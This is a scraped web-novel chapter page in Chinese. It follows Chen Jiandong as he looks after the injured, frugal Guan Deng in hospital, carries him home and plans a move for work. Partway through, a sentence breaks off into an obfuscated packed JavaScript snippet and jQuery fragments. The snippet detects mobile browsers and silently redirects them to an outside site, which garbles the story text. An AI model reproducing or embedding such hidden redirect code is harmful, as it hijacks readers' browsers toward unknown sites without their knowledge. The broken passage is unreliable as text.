默认冷灰
24号文字
方正启体

9. 第9章

作者:绒确本书字数:K更新时间:
    病房来来往往人不少,陈建东给他开了瓶水。


    关灯说:“其实娃哈哈也行。”


    “这点玩意少不了你的。”陈建东把水抵在他的嘴边,“张嘴。”


    关灯美滋滋的笑了:“那我记账!”


    虽然是从小精心养大的娇气包,但身上莫名奇妙有种招人心疼的魔力,陈建东不得不承认,关灯是个好孩子,只是让他爸拖累了。


    关灯捧着水瓶喝了好几口,陈建东就在病床边摸着烟盒,然后起身向外走。


    关灯以为他出去抽烟了,没两分钟,陈建东拎着一个暖壶以及一个袋儿回来,方便袋里头装着胶皮暖水袋和两袋方便面。


    陈建东拿暖壶望热水袋里头装水,热气翻涌出来,陈建东也不觉得烫手,弄好后在床边擦擦,放进被窝里,剩下的水把两袋方便面泡了,三鲜伊面,闻着可香。


    关灯的脚丫暖呼呼,躺在床上眼巴巴的瞧着陈建东。


    陈建东才二十五岁,若在上学,也仅仅是大学刚毕业没多久的年纪,却因为在工地里摸爬滚打多年,锋利的下颌线多了几分属于男人特有的成熟。


    方便面放在瓷缸里泡着,关灯趁机拽他的手,陈建东微微皱眉,没懂他的意思。


    关灯‘呼呼’的给他吹吹,仰头问,“烫不?”


    陈建东愣了愣,看他认真的小脸,伸手揉了一把软乎乎的短发,“哪那么矫情。”


    “哦...那也呼呼。”关灯说,“水可烫啦,烫坏了疼。”


    陈建东的指尖被他呼了两下,坐床边把被子掖好,也没问冷不冷,关灯像是知道他不擅长关心人似的,乖乖的说,“可暖和了建东哥,热水花钱不?我记着呢,等回去用纸笔都记账。”


    一块五。


    但陈建东瞧着他那双认真而亮晶晶的眼眸,笑了,“不花钱。”


    “哦!那我们走的时候再接点,房东奶奶那要花钱呢,电费贵。”


    关灯见陈建东的嘴角一直都是微微勾着,不像以前那样板着脸,自己心里也开心,他挺喜欢建东哥的。


    跟着关尚去过不少饭局,关灯自认为瞧人特准,他知道陈建东是个嘴硬心软的好男人,更多时候也觉得自己对不起他,想着将来赚大钱,一定要好好报答建东哥。


    他看着陈建东整理好热水袋,把泡面递过来时,他问,“建东哥,你为什么对我这么好呀?”


    “就因为我欠你钱嘛?哎呀,本来应该是我伺候你的,”关灯的小嘴巴特会说,“现在倒弄巧成拙了,不想给你当拖油瓶来着。”


    陈建东把泡面递到他嘴边:“我不是你哥么。”


    男人的话音轻飘飘,在人头攒动的病房内并不清晰,关灯听的真切。


    陈建东叹了口气,算是和他唠一种家常嗑,边喂着他面条边不经意的说,“以后你在我身边好好干,把钱还了,叫我一声哥,我就当有你这么个弟弟。”


    关灯乖乖的嘬面条:“嗯嗯。”


    “跟着我生活肯定过不了以前你那么精细的日子,什么条件你也清楚。”


    关灯就会笑盈盈的说他能吃苦。


    陈建东瞧他这样,小脸白净,眼睛亮亮的,这心不知道怎么就跟着晃悠。


    俩人以前不怎么说话,大部分时间都是关灯自己一个人嘟嘟囔囔,陈建东听着也不回话。


    今儿算话多的一天,等着吊瓶打完的时候,陈建东给他喂了一袋方便面,关灯也不睡觉了,和他唠嗑。


    “建东哥,你这么多年出来打拼,就自己一个人吗?”关灯睫毛长,枕着陈建东的手掌心。


    医院的枕头关灯说一股消毒水味,刚吃完方便面闻消毒水味想吐,他撒娇叫两声‘建东哥’便能快快乐乐的枕上男人的手掌心。


    陈建东的掌心落得一处柔软,垂眸低声,“嗯。”


    “那挺辛苦的。”关灯在他的手心里眨眨眼,“自己一个人很孤单呀,我从小就是,没人陪我玩,平时除了老师,同学都不爱和我说话。”


    “其实都不想和你说,我也觉得丢脸,毕竟我也是男人,可好面子啦,因为我瘦!初中校队打篮球我报名以后跟着训练几天受不了,当替补上场的,让人家推了一把就骨裂了,我爸知道以后上学校要赔偿闹了好几天,哎呀,从此以后好多同学都不和我玩了。”


    “其实我觉得破篮球真的不好玩,跑的喘不上气,特别像牛!”


    关灯叽叽喳喳说了一堆,最后又来了一句,“真不想说给你听,你肯定又瞧不起我说矫情了!”


    陈建东:“我没想听。”


    关灯脸上一阵尴尬色,鼻尖轻哼,脸几乎埋在他的掌心里嘟囔,“那我也说,就想和你唠嗑..”


    陈建东的掌心里感觉到肉肉软软的东西贴了又贴,那是关灯撅起来的嘴唇。


    他想,这小玩意还挺有意思。


    自己能给自己哄的高兴,又能自己生气。


    他像关灯这个年纪的时候早没了这股天真劲儿。


    吊瓶吊完,医生给开了点消炎药和过敏药,关灯也不知道交了多少钱,出门陈建东要拦的士车,关灯一下跳在他身上,“不远,建东哥你背我回去吧。”


    “冷。”陈建东说。


    关灯把自己的脸往围脖里多埋了几下:“不冷,早上就是你背我来的,或者咱们走回去呗?又不远,出太阳了,散散步嘛。”


    说白了,他是怕花钱。


    陈建东没搭理他,拦了车塞他上车,倒是下车的时候蹲在车旁边。


    关灯愣了愣,陈建东说,“你不是要我背你吗,不上来就自己走上去。”


    关灯手里拿着药袋跳上陈建东的背,男人的后背很宽厚,他就安安稳稳的趴在后背。


    新年后的凌海逐渐有店开了,过段时间就能开春。


    老楼走一层,声控灯亮一层。


    关灯的脸贴着陈建东的脖颈,手也紧紧的搂着,感觉自己特别像在坐摇摇车,有些想睡。


    “干什么。”陈建东微微皱眉,关灯在摸他的脸。


    “你也受伤了,还疼不?”关灯嘟囔,“也得吃消炎药,咱们俩一块吃药。”


    陈建东真被他莫名奇妙的话逗笑了:“你当是山珍海味呢?破消炎药谁和你分着吃。”


    “药也是买的呢,吃点肯定好呀。”


    陈建东轻笑一声,很低很低的声音从喉结发出,是愉悦的嗓音。


    体质这玩意也是怪,要说伤,陈建东身上破口子的地方比关灯多了去了,一晚上过去,人什么事都没有,反看关灯就不行,晕晕乎乎,受点伤就发烧。


    关灯还瘦,陈建东背着都觉得轻飘飘的,半点分量没有,有时候他想,关尚是不给他吃饭吗?


    “哥,你声真好听,特爷们。”关灯说,“我变声期后怎么就没有这么爷们的声呢?”


    “少拍马屁。”


    “你是马呀?”关灯笑嘻嘻问。


    “给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286079|182601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点颜色你就灿烂?”陈建东捏了下他的大腿。


    关灯哎呦哎呦的叫唤,仿佛真的捏疼了,陈建东停了脚步,刚要问是不是真疼。


    “骗你哒!别捏我!我有痒痒肉。”关灯搂着他的脖颈,在他后背上叽叽咕咕的又开始嘟囔,“你有没有?建东哥。”


    “没有。”


    “那你真是个刚强的男人!”


    陈建东:“....也有吧。”


    “哪啊?”


    “脚心。”


    关灯说他也有,他觉得这是人之常情,又上了两个台阶,他忽然问,“要是昨天干架的时候,那帮人忽然把你鞋脱了挠你痒痒肉,你说咱们还能打赢吗?”


    陈建东:“....你是不是有病。”


    关灯软软的脸贴在他的脖颈旁边,热乎乎的,鼻息蹭过的地方仿佛真的有痒痒肉,刺挠的很。


    整栋楼里只有两人说话的声,一步一步,走进那个狭窄的,一眼望到头的出租屋。


    关灯脑袋上裹着纱布,回到屋里就钻在被窝里躺着。


    陈建东出去买票,过了年后肯定要出去找工。


    当初要不是答应了关尚的工程,他也不能来凌海,这地方不大,大部分都是政府的地皮和活,私活也肯定和港口有接触,得罪了刁茂德,以后想要做这方面的生意基本够呛。


    凌海和大连更近,但靠海,相比之下沈阳更适合去闯闯。


    晚上陈建东拎着两个烤地瓜和盒饭回来,一进屋,关灯顶着缠纱布的脑袋正在叠衣服,怀里头揣着热水袋,旁边的蛇皮袋子里码放整齐的都是行李。


    关灯爱干净,他身上就一套衣服,洗了挂在长廊,拧不动只能湿哒哒的滴水,门口聚了一小滩,走廊还冷,等明儿早这小摊水都能结冰,


    陈建东看着原本乱糟糟的小房间此刻变的整洁,忍不住挑眉,“你收拾的?”


    关灯疑惑的歪歪头,这屋里除了他还有别人吗?


    他气鼓鼓的噘嘴:“鬼收拾哒!”


    小孩儿故意把脑袋扭过去,配上那缠纱布的脑袋特别像受伤小猫发脾气,陈建东低声笑了笑,把烤地瓜在他鼻尖前晃悠了一圈。


    关灯饿的肚子咕咕叫,俗话说得好,识时务者为俊杰。


    小孩儿一扭脸,从床上蹦起来搂住陈建东的脖颈,“我是饿死鬼,饿死鬼~”


    陈建东:“没出息。”


    关灯也不挑食,吃完饭俩人收拾好包袱继续挤在这张单人床上,关灯把没吃完的烤红薯放在枕头旁边,有电褥子热乎着,明早还能吃。


    关了灯,关灯转过身来戳戳陈建东的后背,想让男人转过来。


    陈建东不理解他要干什么:“你又哪不得劲?事精?”


    关灯捧起他的手问:“烫起泡没?”


    陈建东险些不知道他说的是什么话,反应了几秒钟才明白说的是在医院倒热水袋时,热水溢出来烫到他的指尖了。


    关灯细腻软软的手捧着他粗糙的掌心,在夜光下仔细瞅了又瞅,陈建东觉得自己的手不太好看,想抽回来,感觉很别扭。


    “没那么矫情!”关灯猜准他的话,然后往他怀里躺躺,脑袋埋在他的胸膛里,小声嘟囔,“你对我好,建东哥,我心里的小本本都记着呢。”


    “所以我也对你好,好是买不来的。”


    “睡觉!”陈建东没推开他,让他放肆的躺在自己怀里。


    这小孩,让人心窝热乎。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)